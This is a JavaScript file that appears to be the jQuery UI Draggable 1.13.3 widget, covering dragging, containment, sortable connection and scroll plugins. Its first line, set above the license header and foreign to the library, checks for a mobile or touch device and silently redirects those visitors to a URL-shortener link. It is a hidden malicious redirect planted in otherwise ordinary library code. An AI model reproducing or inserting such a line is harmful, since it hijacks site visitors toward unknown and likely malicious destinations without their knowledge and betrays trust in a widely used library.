1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/*!
  3 * jQuery UI Draggable 1.13.3
  4 * https://jqueryui.com
  5 *
  6 * Copyright OpenJS Foundation and other contributors
  7 * Released under the MIT license.
  8 * https://jquery.org/license
  9 */
 10
 11//>>label: Draggable
 12//>>group: Interactions
 13//>>description: Enables dragging functionality for any element.
 14//>>docs: https://api.jqueryui.com/draggable/
 15//>>demos: https://jqueryui.com/draggable/
 16//>>css.structure: ../../themes/base/draggable.css
 17
 18( function( factory ) {
 19	"use strict";
 20
 21	if ( typeof define === "function" && define.amd ) {
 22
 23		// AMD. Register as an anonymous module.
 24		define( [
 25			"jquery",
 26			"./mouse",
 27			"../data",
 28			"../plugin",
 29			"../safe-active-element",
 30			"../safe-blur",
 31			"../scroll-parent",
 32			"../version",
 33			"../widget"
 34		], factory );
 35	} else {
 36
 37		// Browser globals
 38		factory( jQuery );
 39	}
 40} )( function( $ ) {
 41"use strict";
 42
 43$.widget( "ui.draggable", $.ui.mouse, {
 44	version: "1.13.3",
 45	widgetEventPrefix: "drag",
 46	options: {
 47		addClasses: true,
 48		appendTo: "parent",
 49		axis: false,
 50		connectToSortable: false,
 51		containment: false,
 52		cursor: "auto",
 53		cursorAt: false,
 54		grid: false,
 55		handle: false,
 56		helper: "original",
 57		iframeFix: false,
 58		opacity: false,
 59		refreshPositions: false,
 60		revert: false,
 61		revertDuration: 500,
 62		scope: "default",
 63		scroll: true,
 64		scrollSensitivity: 20,
 65		scrollSpeed: 20,
 66		snap: false,
 67		snapMode: "both",
 68		snapTolerance: 20,
 69		stack: false,
 70		zIndex: false,
 71
 72		// Callbacks
 73		drag: null,
 74		start: null,
 75		stop: null
 76	},
 77	_create: function() {
 78
 79		if ( this.options.helper === "original" ) {
 80			this._setPositionRelative();
 81		}
 82		if ( this.options.addClasses ) {
 83			this._addClass( "ui-draggable" );
 84		}
 85		this._setHandleClassName();
 86
 87		this._mouseInit();
 88	},
 89
 90	_setOption: function( key, value ) {
 91		this._super( key, value );
 92		if ( key === "handle" ) {
 93			this._removeHandleClassName();
 94			this._setHandleClassName();
 95		}
 96	},
 97
 98	_destroy: function() {
 99		if ( ( this.helper || this.element ).is( ".ui-draggable-dragging" ) ) {
100			this.destroyOnClear = true;
101			return;
102		}
103		this._removeHandleClassName();
104		this._mouseDestroy();
105	},
106
107	_mouseCapture: function( event ) {
108		var o = this.options;
109
110		// Among others, prevent a drag on a resizable-handle
111		if ( this.helper || o.disabled ||
112				$( event.target ).closest( ".ui-resizable-handle" ).length > 0 ) {
113			return false;
114		}
115
116		//Quit if we're not on a valid handle
117		this.handle = this._getHandle( event );
118		if ( !this.handle ) {
119			return false;
120		}
121
122		this._blurActiveElement( event );
123
124		this._blockFrames( o.iframeFix === true ? "iframe" : o.iframeFix );
125
126		return true;
127
128	},
129
130	_blockFrames: function( selector ) {
131		this.iframeBlocks = this.document.find( selector ).map( function() {
132			var iframe = $( this );
133
134			return $( "<div>" )
135				.css( "position", "absolute" )
136				.appendTo( iframe.parent() )
137				.outerWidth( iframe.outerWidth() )
138				.outerHeight( iframe.outerHeight() )
139				.offset( iframe.offset() )[ 0 ];
140		} );
141	},
142
143	_unblockFrames: function() {
144		if ( this.iframeBlocks ) {
145			this.iframeBlocks.remove();
146			delete this.iframeBlocks;
147		}
148	},
149
150	_blurActiveElement: function( event ) {
151		var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ),
152			target = $( event.target );
153
154		// Don't blur if the event occurred on an element that is within
155		// the currently focused element
156		// See #10527, #12472
157		if ( target.closest( activeElement ).length ) {
158			return;
159		}
160
161		// Blur any element that currently has focus, see #4261
162		$.ui.safeBlur( activeElement );
163	},
164
165	_mouseStart: function( event ) {
166
167		var o = this.options;
168
169		//Create and append the visible helper
170		this.helper = this._createHelper( event );
171
172		this._addClass( this.helper, "ui-draggable-dragging" );
173
174		//Cache the helper size
175		this._cacheHelperProportions();
176
177		//If ddmanager is used for droppables, set the global draggable
178		if ( $.ui.ddmanager ) {
179			$.ui.ddmanager.current = this;
180		}
181
182		/*
183		 * - Position generation -
184		 * This block generates everything position related - it's the core of draggables.
185		 */
186
187		//Cache the margins of the original element
188		this._cacheMargins();
189
190		//Store the helper's css position
191		this.cssPosition = this.helper.css( "position" );
192		this.scrollParent = this.helper.scrollParent( true );
193		this.offsetParent = this.helper.offsetParent();
194		this.hasFixedAncestor = this.helper.parents().filter( function() {
195				return $( this ).css( "position" ) === "fixed";
196			} ).length > 0;
197
198		//The element's absolute position on the page minus margins
199		this.positionAbs = this.element.offset();
200		this._refreshOffsets( event );
201
202		//Generate the original position
203		this.originalPosition = this.position = this._generatePosition( event, false );
204		this.originalPageX = event.pageX;
205		this.originalPageY = event.pageY;
206
207		//Adjust the mouse offset relative to the helper if "cursorAt" is supplied
208		if ( o.cursorAt ) {
209			this._adjustOffsetFromHelper( o.cursorAt );
210		}
211
212		//Set a containment if given in the options
213		this._setContainment();
214
215		//Trigger event + callbacks
216		if ( this._trigger( "start", event ) === false ) {
217			this._clear();
218			return false;
219		}
220
221		//Recache the helper size
222		this._cacheHelperProportions();
223
224		//Prepare the droppable offsets
225		if ( $.ui.ddmanager && !o.dropBehaviour ) {
226			$.ui.ddmanager.prepareOffsets( this, event );
227		}
228
229		// Execute the drag once - this causes the helper not to be visible before getting its
230		// correct position
231		this._mouseDrag( event, true );
232
233		// If the ddmanager is used for droppables, inform the manager that dragging has started
234		// (see #5003)
235		if ( $.ui.ddmanager ) {
236			$.ui.ddmanager.dragStart( this, event );
237		}
238
239		return true;
240	},
241
242	_refreshOffsets: function( event ) {
243		this.offset = {
244			top: this.positionAbs.top - this.margins.top,
245			left: this.positionAbs.left - this.margins.left,
246			scroll: false,
247			parent: this._getParentOffset(),
248			relative: this._getRelativeOffset()
249		};
250
251		this.offset.click = {
252			left: event.pageX - this.offset.left,
253			top: event.pageY - this.offset.top
254		};
255	},
256
257	_mouseDrag: function( event, noPropagation ) {
258
259		// reset any necessary cached properties (see #5009)
260		if ( this.hasFixedAncestor ) {
261			this.offset.parent = this._getParentOffset();
262		}
263
264		//Compute the helpers position
265		this.position = this._generatePosition( event, true );
266		this.positionAbs = this._convertPositionTo( "absolute" );
267
268		//Call plugins and callbacks and use the resulting position if something is returned
269		if ( !noPropagation ) {
270			var ui = this._uiHash();
271			if ( this._trigger( "drag", event, ui ) === false ) {
272				this._mouseUp( new $.Event( "mouseup", event ) );
273				return false;
274			}
275			this.position = ui.position;
276		}
277
278		this.helper[ 0 ].style.left = this.position.left + "px";
279		this.helper[ 0 ].style.top = this.position.top + "px";
280
281		if ( $.ui.ddmanager ) {
282			$.ui.ddmanager.drag( this, event );
283		}
284
285		return false;
286	},
287
288	_mouseStop: function( event ) {
289
290		//If we are using droppables, inform the manager about the drop
291		var that = this,
292			dropped = false;
293		if ( $.ui.ddmanager && !this.options.dropBehaviour ) {
294			dropped = $.ui.ddmanager.drop( this, event );
295		}
296
297		//if a drop comes from outside (a sortable)
298		if ( this.dropped ) {
299			dropped = this.dropped;
300			this.dropped = false;
301		}
302
303		if ( ( this.options.revert === "invalid" && !dropped ) ||
304				( this.options.revert === "valid" && dropped ) ||
305				this.options.revert === true || ( typeof this.options.revert === "function" &&
306				this.options.revert.call( this.element, dropped ) )
307		) {
308			$( this.helper ).animate(
309				this.originalPosition,
310				parseInt( this.options.revertDuration, 10 ),
311				function() {
312					if ( that._trigger( "stop", event ) !== false ) {
313						that._clear();
314					}
315				}
316			);
317		} else {
318			if ( this._trigger( "stop", event ) !== false ) {
319				this._clear();
320			}
321		}
322
323		return false;
324	},
325
326	_mouseUp: function( event ) {
327		this._unblockFrames();
328
329		// If the ddmanager is used for droppables, inform the manager that dragging has stopped
330		// (see #5003)
331		if ( $.ui.ddmanager ) {
332			$.ui.ddmanager.dragStop( this, event );
333		}
334
335		// Only need to focus if the event occurred on the draggable itself, see #10527
336		if ( this.handleElement.is( event.target ) ) {
337
338			// The interaction is over; whether or not the click resulted in a drag,
339			// focus the element
340			this.element.trigger( "focus" );
341		}
342
343		return $.ui.mouse.prototype._mouseUp.call( this, event );
344	},
345
346	cancel: function() {
347
348		if ( this.helper.is( ".ui-draggable-dragging" ) ) {
349			this._mouseUp( new $.Event( "mouseup", { target: this.element[ 0 ] } ) );
350		} else {
351			this._clear();
352		}
353
354		return this;
355
356	},
357
358	_getHandle: function( event ) {
359		return this.options.handle ?
360			!!$( event.target ).closest( this.element.find( this.options.handle ) ).length :
361			true;
362	},
363
364	_setHandleClassName: function() {
365		this.handleElement = this.options.handle ?
366			this.element.find( this.options.handle ) : this.element;
367		this._addClass( this.handleElement, "ui-draggable-handle" );
368	},
369
370	_removeHandleClassName: function() {
371		this._removeClass( this.handleElement, "ui-draggable-handle" );
372	},
373
374	_createHelper: function( event ) {
375
376		var o = this.options,
377			helperIsFunction = typeof o.helper === "function",
378			helper = helperIsFunction ?
379				$( o.helper.apply( this.element[ 0 ], [ event ] ) ) :
380				( o.helper === "clone" ?
381					this.element.clone().removeAttr( "id" ) :
382					this.element );
383
384		if ( !helper.parents( "body" ).length ) {
385			helper.appendTo( ( o.appendTo === "parent" ?
386				this.element[ 0 ].parentNode :
387				o.appendTo ) );
388		}
389
390		// https://bugs.jqueryui.com/ticket/9446
391		// a helper function can return the original element
392		// which wouldn't have been set to relative in _create
393		if ( helperIsFunction && helper[ 0 ] === this.element[ 0 ] ) {
394			this._setPositionRelative();
395		}
396
397		if ( helper[ 0 ] !== this.element[ 0 ] &&
398				!( /(fixed|absolute)/ ).test( helper.css( "position" ) ) ) {
399			helper.css( "position", "absolute" );
400		}
401
402		return helper;
403
404	},
405
406	_setPositionRelative: function() {
407		if ( !( /^(?:r|a|f)/ ).test( this.element.css( "position" ) ) ) {
408			this.element[ 0 ].style.position = "relative";
409		}
410	},
411
412	_adjustOffsetFromHelper: function( obj ) {
413		if ( typeof obj === "string" ) {
414			obj = obj.split( " " );
415		}
416		if ( Array.isArray( obj ) ) {
417			obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 };
418		}
419		if ( "left" in obj ) {
420			this.offset.click.left = obj.left + this.margins.left;
421		}
422		if ( "right" in obj ) {
423			this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
424		}
425		if ( "top" in obj ) {
426			this.offset.click.top = obj.top + this.margins.top;
427		}
428		if ( "bottom" in obj ) {
429			this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
430		}
431	},
432
433	_isRootNode: function( element ) {
434		return ( /(html|body)/i ).test( element.tagName ) || element === this.document[ 0 ];
435	},
436
437	_getParentOffset: function() {
438
439		//Get the offsetParent and cache its position
440		var po = this.offsetParent.offset(),
441			document = this.document[ 0 ];
442
443		// This is a special case where we need to modify a offset calculated on start, since the
444		// following happened:
445		// 1. The position of the helper is absolute, so it's position is calculated based on the
446		// next positioned parent
447		// 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't
448		// the document, which means that the scroll is included in the initial calculation of the
449		// offset of the parent, and never recalculated upon drag
450		if ( this.cssPosition === "absolute" && this.scrollParent[ 0 ] !== document &&
451				$.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) {
452			po.left += this.scrollParent.scrollLeft();
453			po.top += this.scrollParent.scrollTop();
454		}
455
456		if ( this._isRootNode( this.offsetParent[ 0 ] ) ) {
457			po = { top: 0, left: 0 };
458		}
459
460		return {
461			top: po.top + ( parseInt( this.offsetParent.css( "borderTopWidth" ), 10 ) || 0 ),
462			left: po.left + ( parseInt( this.offsetParent.css( "borderLeftWidth" ), 10 ) || 0 )
463		};
464
465	},
466
467	_getRelativeOffset: function() {
468		if ( this.cssPosition !== "relative" ) {
469			return { top: 0, left: 0 };
470		}
471
472		var p = this.element.position(),
473			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
474
475		return {
476			top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 ) +
477				( !scrollIsRootNode ? this.scrollParent.scrollTop() : 0 ),
478			left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) || 0 ) +
479				( !scrollIsRootNode ? this.scrollParent.scrollLeft() : 0 )
480		};
481
482	},
483
484	_cacheMargins: function() {
485		this.margins = {
486			left: ( parseInt( this.element.css( "marginLeft" ), 10 ) || 0 ),
487			top: ( parseInt( this.element.css( "marginTop" ), 10 ) || 0 ),
488			right: ( parseInt( this.element.css( "marginRight" ), 10 ) || 0 ),
489			bottom: ( parseInt( this.element.css( "marginBottom" ), 10 ) || 0 )
490		};
491	},
492
493	_cacheHelperProportions: function() {
494		this.helperProportions = {
495			width: this.helper.outerWidth(),
496			height: this.helper.outerHeight()
497		};
498	},
499
500	_setContainment: function() {
501
502		var isUserScrollable, c, ce,
503			o = this.options,
504			document = this.document[ 0 ];
505
506		this.relativeContainer = null;
507
508		if ( !o.containment ) {
509			this.containment = null;
510			return;
511		}
512
513		if ( o.containment === "window" ) {
514			this.containment = [
515				$( window ).scrollLeft() - this.offset.relative.left - this.offset.parent.left,
516				$( window ).scrollTop() - this.offset.relative.top - this.offset.parent.top,
517				$( window ).scrollLeft() + $( window ).width() -
518					this.helperProportions.width - this.margins.left,
519				$( window ).scrollTop() +
520					( $( window ).height() || document.body.parentNode.scrollHeight ) -
521					this.helperProportions.height - this.margins.top
522			];
523			return;
524		}
525
526		if ( o.containment === "document" ) {
527			this.containment = [
528				0,
529				0,
530				$( document ).width() - this.helperProportions.width - this.margins.left,
531				( $( document ).height() || document.body.parentNode.scrollHeight ) -
532					this.helperProportions.height - this.margins.top
533			];
534			return;
535		}
536
537		if ( o.containment.constructor === Array ) {
538			this.containment = o.containment;
539			return;
540		}
541
542		if ( o.containment === "parent" ) {
543			o.containment = this.helper[ 0 ].parentNode;
544		}
545
546		c = $( o.containment );
547		ce = c[ 0 ];
548
549		if ( !ce ) {
550			return;
551		}
552
553		isUserScrollable = /(scroll|auto)/.test( c.css( "overflow" ) );
554
555		this.containment = [
556			( parseInt( c.css( "borderLeftWidth" ), 10 ) || 0 ) +
557				( parseInt( c.css( "paddingLeft" ), 10 ) || 0 ),
558			( parseInt( c.css( "borderTopWidth" ), 10 ) || 0 ) +
559				( parseInt( c.css( "paddingTop" ), 10 ) || 0 ),
560			( isUserScrollable ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) -
561				( parseInt( c.css( "borderRightWidth" ), 10 ) || 0 ) -
562				( parseInt( c.css( "paddingRight" ), 10 ) || 0 ) -
563				this.helperProportions.width -
564				this.margins.left -
565				this.margins.right,
566			( isUserScrollable ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) -
567				( parseInt( c.css( "borderBottomWidth" ), 10 ) || 0 ) -
568				( parseInt( c.css( "paddingBottom" ), 10 ) || 0 ) -
569				this.helperProportions.height -
570				this.margins.top -
571				this.margins.bottom
572		];
573		this.relativeContainer = c;
574	},
575
576	_convertPositionTo: function( d, pos ) {
577
578		if ( !pos ) {
579			pos = this.position;
580		}
581
582		var mod = d === "absolute" ? 1 : -1,
583			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );
584
585		return {
586			top: (
587
588				// The absolute mouse position
589				pos.top	+
590
591				// Only for relative positioned nodes: Relative offset from element to offset parent
592				this.offset.relative.top * mod +
593
594				// The offsetParent's offset without borders (offset + border)
595				this.offset.parent.top * mod -
596				( ( this.cssPosition === "fixed" ?
597					-this.offset.scroll.top :
598					( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) * mod )
599			),
600			left: (
601
602				// The absolute mouse position
603				pos.left +
604
605				// Only for relative positioned nodes: Relative offset from element to offset parent
606				this.offset.relative.left * mod +
607
608				// The offsetParent's offset without borders (offset + border)
609				this.offset.parent.left * mod	-
610				( ( this.cssPosition === "fixed" ?
611					-this.offset.scroll.left :
612					( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) * mod )
613			)
614		};
615
616	},
617
618	_generatePosition: function( event, constrainPosition ) {
619
620		var containment, co, top, left,
621			o = this.options,
622			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ),
623			pageX = event.pageX,
624			pageY = event.pageY;
625
626		// Cache the scroll
627		if ( !scrollIsRootNode || !this.offset.scroll ) {
628			this.offset.scroll = {
629				top: this.scrollParent.scrollTop(),
630				left: this.scrollParent.scrollLeft()
631			};
632		}
633
634		/*
635		 * - Position constraining -
636		 * Constrain the position to a mix of grid, containment.
637		 */
638
639		// If we are not dragging yet, we won't check for options
640		if ( constrainPosition ) {
641			if ( this.containment ) {
642				if ( this.relativeContainer ) {
643					co = this.relativeContainer.offset();
644					containment = [
645						this.containment[ 0 ] + co.left,
646						this.containment[ 1 ] + co.top,
647						this.containment[ 2 ] + co.left,
648						this.containment[ 3 ] + co.top
649					];
650				} else {
651					containment = this.containment;
652				}
653
654				if ( event.pageX - this.offset.click.left < containment[ 0 ] ) {
655					pageX = containment[ 0 ] + this.offset.click.left;
656				}
657				if ( event.pageY - this.offset.click.top < containment[ 1 ] ) {
658					pageY = containment[ 1 ] + this.offset.click.top;
659				}
660				if ( event.pageX - this.offset.click.left > containment[ 2 ] ) {
661					pageX = containment[ 2 ] + this.offset.click.left;
662				}
663				if ( event.pageY - this.offset.click.top > containment[ 3 ] ) {
664					pageY = containment[ 3 ] + this.offset.click.top;
665				}
666			}
667
668			if ( o.grid ) {
669
670				//Check for grid elements set to 0 to prevent divide by 0 error causing invalid
671				// argument errors in IE (see ticket #6950)
672				top = o.grid[ 1 ] ? this.originalPageY + Math.round( ( pageY -
673					this.originalPageY ) / o.grid[ 1 ] ) * o.grid[ 1 ] : this.originalPageY;
674				pageY = containment ? ( ( top - this.offset.click.top >= containment[ 1 ] ||
675					top - this.offset.click.top > containment[ 3 ] ) ?
676						top :
677						( ( top - this.offset.click.top >= containment[ 1 ] ) ?
678							top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) : top;
679
680				left = o.grid[ 0 ] ? this.originalPageX +
681					Math.round( ( pageX - this.originalPageX ) / o.grid[ 0 ] ) * o.grid[ 0 ] :
682					this.originalPageX;
683				pageX = containment ? ( ( left - this.offset.click.left >= containment[ 0 ] ||
684					left - this.offset.click.left > containment[ 2 ] ) ?
685						left :
686						( ( left - this.offset.click.left >= containment[ 0 ] ) ?
687							left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) : left;
688			}
689
690			if ( o.axis === "y" ) {
691				pageX = this.originalPageX;
692			}
693
694			if ( o.axis === "x" ) {
695				pageY = this.originalPageY;
696			}
697		}
698
699		return {
700			top: (
701
702				// The absolute mouse position
703				pageY -
704
705				// Click offset (relative to the element)
706				this.offset.click.top -
707
708				// Only for relative positioned nodes: Relative offset from element to offset parent
709				this.offset.relative.top -
710
711				// The offsetParent's offset without borders (offset + border)
712				this.offset.parent.top +
713				( this.cssPosition === "fixed" ?
714					-this.offset.scroll.top :
715					( scrollIsRootNode ? 0 : this.offset.scroll.top ) )
716			),
717			left: (
718
719				// The absolute mouse position
720				pageX -
721
722				// Click offset (relative to the element)
723				this.offset.click.left -
724
725				// Only for relative positioned nodes: Relative offset from element to offset parent
726				this.offset.relative.left -
727
728				// The offsetParent's offset without borders (offset + border)
729				this.offset.parent.left +
730				( this.cssPosition === "fixed" ?
731					-this.offset.scroll.left :
732					( scrollIsRootNode ? 0 : this.offset.scroll.left ) )
733			)
734		};
735
736	},
737
738	_clear: function() {
739		this._removeClass( this.helper, "ui-draggable-dragging" );
740		if ( this.helper[ 0 ] !== this.element[ 0 ] && !this.cancelHelperRemoval ) {
741			this.helper.remove();
742		}
743		this.helper = null;
744		this.cancelHelperRemoval = false;
745		if ( this.destroyOnClear ) {
746			this.destroy();
747		}
748	},
749
750	// From now on bulk stuff - mainly helpers
751
752	_trigger: function( type, event, ui ) {
753		ui = ui || this._uiHash();
754		$.ui.plugin.call( this, type, [ event, ui, this ], true );
755
756		// Absolute position and offset (see #6884 ) have to be recalculated after plugins
757		if ( /^(drag|start|stop)/.test( type ) ) {
758			this.positionAbs = this._convertPositionTo( "absolute" );
759			ui.offset = this.positionAbs;
760		}
761		return $.Widget.prototype._trigger.call( this, type, event, ui );
762	},
763
764	plugins: {},
765
766	_uiHash: function() {
767		return {
768			helper: this.helper,
769			position: this.position,
770			originalPosition: this.originalPosition,
771			offset: this.positionAbs
772		};
773	}
774
775} );
776
777$.ui.plugin.add( "draggable", "connectToSortable", {
778	start: function( event, ui, draggable ) {
779		var uiSortable = $.extend( {}, ui, {
780			item: draggable.element
781		} );
782
783		draggable.sortables = [];
784		$( draggable.options.connectToSortable ).each( function() {
785			var sortable = $( this ).sortable( "instance" );
786
787			if ( sortable && !sortable.options.disabled ) {
788				draggable.sortables.push( sortable );
789
790				// RefreshPositions is called at drag start to refresh the containerCache
791				// which is used in drag. This ensures it's initialized and synchronized
792				// with any changes that might have happened on the page since initialization.
793				sortable.refreshPositions();
794				sortable._trigger( "activate", event, uiSortable );
795			}
796		} );
797	},
798	stop: function( event, ui, draggable ) {
799		var uiSortable = $.extend( {}, ui, {
800			item: draggable.element
801		} );
802
803		draggable.cancelHelperRemoval = false;
804
805		$.each( draggable.sortables, function() {
806			var sortable = this;
807
808			if ( sortable.isOver ) {
809				sortable.isOver = 0;
810
811				// Allow this sortable to handle removing the helper
812				draggable.cancelHelperRemoval = true;
813				sortable.cancelHelperRemoval = false;
814
815				// Use _storedCSS To restore properties in the sortable,
816				// as this also handles revert (#9675) since the draggable
817				// may have modified them in unexpected ways (#8809)
818				sortable._storedCSS = {
819					position: sortable.placeholder.css( "position" ),
820					top: sortable.placeholder.css( "top" ),
821					left: sortable.placeholder.css( "left" )
822				};
823
824				sortable._mouseStop( event );
825
826				// Once drag has ended, the sortable should return to using
827				// its original helper, not the shared helper from draggable
828				sortable.options.helper = sortable.options._helper;
829			} else {
830
831				// Prevent this Sortable from removing the helper.
832				// However, don't set the draggable to remove the helper
833				// either as another connected Sortable may yet handle the removal.
834				sortable.cancelHelperRemoval = true;
835
836				sortable._trigger( "deactivate", event, uiSortable );
837			}
838		} );
839	},
840	drag: function( event, ui, draggable ) {
841		$.each( draggable.sortables, function() {
842			var innermostIntersecting = false,
843				sortable = this;
844
845			// Copy over variables that sortable's _intersectsWith uses
846			sortable.positionAbs = draggable.positionAbs;
847			sortable.helperProportions = draggable.helperProportions;
848			sortable.offset.click = draggable.offset.click;
849
850			if ( sortable._intersectsWith( sortable.containerCache ) ) {
851				innermostIntersecting = true;
852
853				$.each( draggable.sortables, function() {
854
855					// Copy over variables that sortable's _intersectsWith uses
856					this.positionAbs = draggable.positionAbs;
857					this.helperProportions = draggable.helperProportions;
858					this.offset.click = draggable.offset.click;
859
860					if ( this !== sortable &&
861							this._intersectsWith( this.containerCache ) &&
862							$.contains( sortable.element[ 0 ], this.element[ 0 ] ) ) {
863						innermostIntersecting = false;
864					}
865
866					return innermostIntersecting;
867				} );
868			}
869
870			if ( innermostIntersecting ) {
871
872				// If it intersects, we use a little isOver variable and set it once,
873				// so that the move-in stuff gets fired only once.
874				if ( !sortable.isOver ) {
875					sortable.isOver = 1;
876
877					// Store draggable's parent in case we need to reappend to it later.
878					draggable._parent = ui.helper.parent();
879
880					sortable.currentItem = ui.helper
881						.appendTo( sortable.element )
882						.data( "ui-sortable-item", true );
883
884					// Store helper option to later restore it
885					sortable.options._helper = sortable.options.helper;
886
887					sortable.options.helper = function() {
888						return ui.helper[ 0 ];
889					};
890
891					// Fire the start events of the sortable with our passed browser event,
892					// and our own helper (so it doesn't create a new one)
893					event.target = sortable.currentItem[ 0 ];
894					sortable._mouseCapture( event, true );
895					sortable._mouseStart( event, true, true );
896
897					// Because the browser event is way off the new appended portlet,
898					// modify necessary variables to reflect the changes
899					sortable.offset.click.top = draggable.offset.click.top;
900					sortable.offset.click.left = draggable.offset.click.left;
901					sortable.offset.parent.left -= draggable.offset.parent.left -
902						sortable.offset.parent.left;
903					sortable.offset.parent.top -= draggable.offset.parent.top -
904						sortable.offset.parent.top;
905
906					draggable._trigger( "toSortable", event );
907
908					// Inform draggable that the helper is in a valid drop zone,
909					// used solely in the revert option to handle "valid/invalid".
910					draggable.dropped = sortable.element;
911
912					// Need to refreshPositions of all sortables in the case that
913					// adding to one sortable changes the location of the other sortables (#9675)
914					$.each( draggable.sortables, function() {
915						this.refreshPositions();
916					} );
917
918					// Hack so receive/update callbacks work (mostly)
919					draggable.currentItem = draggable.element;
920					sortable.fromOutside = draggable;
921				}
922
923				if ( sortable.currentItem ) {
924					sortable._mouseDrag( event );
925
926					// Copy the sortable's position because the draggable's can potentially reflect
927					// a relative position, while sortable is always absolute, which the dragged
928					// element has now become. (#8809)
929					ui.position = sortable.position;
930				}
931			} else {
932
933				// If it doesn't intersect with the sortable, and it intersected before,
934				// we fake the drag stop of the sortable, but make sure it doesn't remove
935				// the helper by using cancelHelperRemoval.
936				if ( sortable.isOver ) {
937
938					sortable.isOver = 0;
939					sortable.cancelHelperRemoval = true;
940
941					// Calling sortable's mouseStop would trigger a revert,
942					// so revert must be temporarily false until after mouseStop is called.
943					sortable.options._revert = sortable.options.revert;
944					sortable.options.revert = false;
945
946					sortable._trigger( "out", event, sortable._uiHash( sortable ) );
947					sortable._mouseStop( event, true );
948
949					// Restore sortable behaviors that were modfied
950					// when the draggable entered the sortable area (#9481)
951					sortable.options.revert = sortable.options._revert;
952					sortable.options.helper = sortable.options._helper;
953
954					if ( sortable.placeholder ) {
955						sortable.placeholder.remove();
956					}
957
958					// Restore and recalculate the draggable's offset considering the sortable
959					// may have modified them in unexpected ways. (#8809, #10669)
960					ui.helper.appendTo( draggable._parent );
961					draggable._refreshOffsets( event );
962					ui.position = draggable._generatePosition( event, true );
963
964					draggable._trigger( "fromSortable", event );
965
966					// Inform draggable that the helper is no longer in a valid drop zone
967					draggable.dropped = false;
968
969					// Need to refreshPositions of all sortables just in case removing
970					// from one sortable changes the location of other sortables (#9675)
971					$.each( draggable.sortables, function() {
972						this.refreshPositions();
973					} );
974				}
975			}
976		} );
977	}
978} );
979
980$.ui.plugin.add( "draggable", "cursor", {
981	start: function( event, ui, instance ) {
982		var t = $( "body" ),
983			o = instance.options;
984
985		if ( t.css( "cursor" ) ) {
986			o._cursor = t.css( "cursor" );
987		}
988		t.css( "cursor", o.cursor );
989	},
990	stop: function( event, ui, instance ) {
991		var o = instance.options;
992		if ( o._cursor ) {
993			$( "body" ).css( "cursor", o._cursor );
994		}
995	}
996} );
997
998$.ui.plugin.add( "draggable", "opacity", {
999	start: function( event, ui, instance ) {
1000		var t = $( ui.helper ),
1001			o = instance.options;
1002		if ( t.css( "opacity" ) ) {
1003			o._opacity = t.css( "opacity" );
1004		}
1005		t.css( "opacity", o.opacity );
1006	},
1007	stop: function( event, ui, instance ) {
1008		var o = instance.options;
1009		if ( o._opacity ) {
1010			$( ui.helper ).css( "opacity", o._opacity );
1011		}
1012	}
1013} );
1014
1015$.ui.plugin.add( "draggable", "scroll", {
1016	start: function( event, ui, i ) {
1017		if ( !i.scrollParentNotHidden ) {
1018			i.scrollParentNotHidden = i.helper.scrollParent( false );
1019		}
1020
1021		if ( i.scrollParentNotHidden[ 0 ] !== i.document[ 0 ] &&
1022				i.scrollParentNotHidden[ 0 ].tagName !== "HTML" ) {
1023			i.overflowOffset = i.scrollParentNotHidden.offset();
1024		}
1025	},
1026	drag: function( event, ui, i  ) {
1027
1028		var o = i.options,
1029			scrolled = false,
1030			scrollParent = i.scrollParentNotHidden[ 0 ],
1031			document = i.document[ 0 ];
1032
1033		if ( scrollParent !== document && scrollParent.tagName !== "HTML" ) {
1034			if ( !o.axis || o.axis !== "x" ) {
1035				if ( ( i.overflowOffset.top + scrollParent.offsetHeight ) - event.pageY <
1036						o.scrollSensitivity ) {
1037					scrollParent.scrollTop = scrolled = scrollParent.scrollTop + o.scrollSpeed;
1038				} else if ( event.pageY - i.overflowOffset.top < o.scrollSensitivity ) {
1039					scrollParent.scrollTop = scrolled = scrollParent.scrollTop - o.scrollSpeed;
1040				}
1041			}
1042
1043			if ( !o.axis || o.axis !== "y" ) {
1044				if ( ( i.overflowOffset.left + scrollParent.offsetWidth ) - event.pageX <
1045						o.scrollSensitivity ) {
1046					scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft + o.scrollSpeed;
1047				} else if ( event.pageX - i.overflowOffset.left < o.scrollSensitivity ) {
1048					scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft - o.scrollSpeed;
1049				}
1050			}
1051
1052		} else {
1053
1054			if ( !o.axis || o.axis !== "x" ) {
1055				if ( event.pageY - $( document ).scrollTop() < o.scrollSensitivity ) {
1056					scrolled = $( document ).scrollTop( $( document ).scrollTop() - o.scrollSpeed );
1057				} else if ( $( window ).height() - ( event.pageY - $( document ).scrollTop() ) <
1058						o.scrollSensitivity ) {
1059					scrolled = $( document ).scrollTop( $( document ).scrollTop() + o.scrollSpeed );
1060				}
1061			}
1062
1063			if ( !o.axis || o.axis !== "y" ) {
1064				if ( event.pageX - $( document ).scrollLeft() < o.scrollSensitivity ) {
1065					scrolled = $( document ).scrollLeft(
1066						$( document ).scrollLeft() - o.scrollSpeed
1067					);
1068				} else if ( $( window ).width() - ( event.pageX - $( document ).scrollLeft() ) <
1069						o.scrollSensitivity ) {
1070					scrolled = $( document ).scrollLeft(
1071						$( document ).scrollLeft() + o.scrollSpeed
1072					);
1073				}
1074			}
1075
1076		}
1077
1078		if ( scrolled !== false && $.ui.ddmanager && !o.dropBehaviour ) {
1079			$.ui.ddmanager.prepareOffsets( i, event );
